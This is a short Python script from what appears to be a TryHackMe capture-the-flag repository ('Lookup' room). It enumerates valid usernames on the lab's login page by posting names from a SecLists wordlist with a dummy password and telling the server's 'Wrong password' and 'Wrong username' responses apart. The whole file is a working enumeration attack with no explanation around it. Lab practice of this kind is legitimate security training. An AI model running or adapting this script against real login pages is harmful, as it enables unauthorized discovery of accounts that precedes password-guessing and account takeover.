Files
TryHackMe/CTF/Lookup/username.py
2025-12-04 09:57:17 +01:00

32 lines
889 B
Python

import requests
if __name__ == '__main__':
URL = 'http://lookup.thm/login.php'
usernames = '/usr/share/seclists/Usernames/Names/names.txt'
try:
with open(usernames, 'r') as file:
print('Starting to test Usernames')
for line in file:
username = line.strip()
if not username:
continue
data = {'username': username, 'password': 'password'}
response = requests.post(URL, data=data)
if 'Wrong password' in response.text:
print(f"Username found: {username}")
elif 'Wrong username' in response.text:
continue
except FileNotFoundError:
print('Error: Name list not found')
except requests.RequestException as e:
print(f"Error: An HTTP request error occured: {e}")